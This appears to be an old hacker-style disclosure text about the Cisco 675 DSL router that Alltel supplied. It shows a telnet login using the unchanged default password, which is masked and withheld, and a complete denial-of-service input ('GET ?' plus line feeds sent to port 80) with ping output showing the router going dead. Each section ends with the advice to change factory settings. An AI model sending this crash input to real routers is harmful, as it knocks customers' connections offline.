HOWTO hack a DSL router with default settings

This information I have gathered and put together while experimenting with the Cisco 675 DSL Router which is usually supplied by Alltel as a "part of the good deal" DSL "modem" for "free". My surprise was enormous when I realized what can be done to unsuspecting Internet customers who pay 50$ extra for DSL service and don't get warned of the "opportunities" that the factory settings of the Cisco 675 router "gives" them.

To everyone that never thought about internet security before I have one thing to say: WAKE UP!!! I really hope that one day you guys will understand how much evil there is out "there".

In short this is what I have found out:

[me@master $home]$ telnet stupid_cisco_DSL_router.ISP.net
Trying ***.***.***.***...
Connected to stupid_cisco_DSL_router.ISP.net
Escape character is '^]'.

User Access Verification
Password:************

cbos>quit
Connection closed by foreign host.
[me@master $home]$

Yes:) This looks pretty cool:) "So what?" some will say and they would be the stupid idiots that don't really know what this means. Well it means that I own your router and I can do whatever the heck I want with it. This hack can be acheived because of the unchanged administrative password which I won't tell you what it is:)

HOWTO fix it: Change your default factory settings!

One more thing. Even if you change your password one can still shut you down by DoS on port 80 (a port that is open by default factory settings). There's what I mean:

[me@master $home]$ telnet stupid_cisco_DSL_router.ISP.net 80
Trying ***.***.***.***...
Connected to stupid_cisco_DSL_router.ISP.net.
Escape character is '^]'.
GET ? [LF][LF]

Which results in:

[me@master $home]$ ping stupid_cisco_DSL_router.ISP.net
PING ***.***.***.*** (***.***.***.***) from ***.***.***.*** : 56(84) bytes of data.
From ***.***.***.***: Time to live exceeded
From ***.***.***.***: Time to live exceeded
From ***.***.***.***: Time to live exceeded

--- ***.***.***.*** ping statistics ---
4 packets transmitted, 0 packets received, +3 errors, 100% packet loss

So there, your router does not respond anymore.

HOWTO fix it: Change your default factory settings!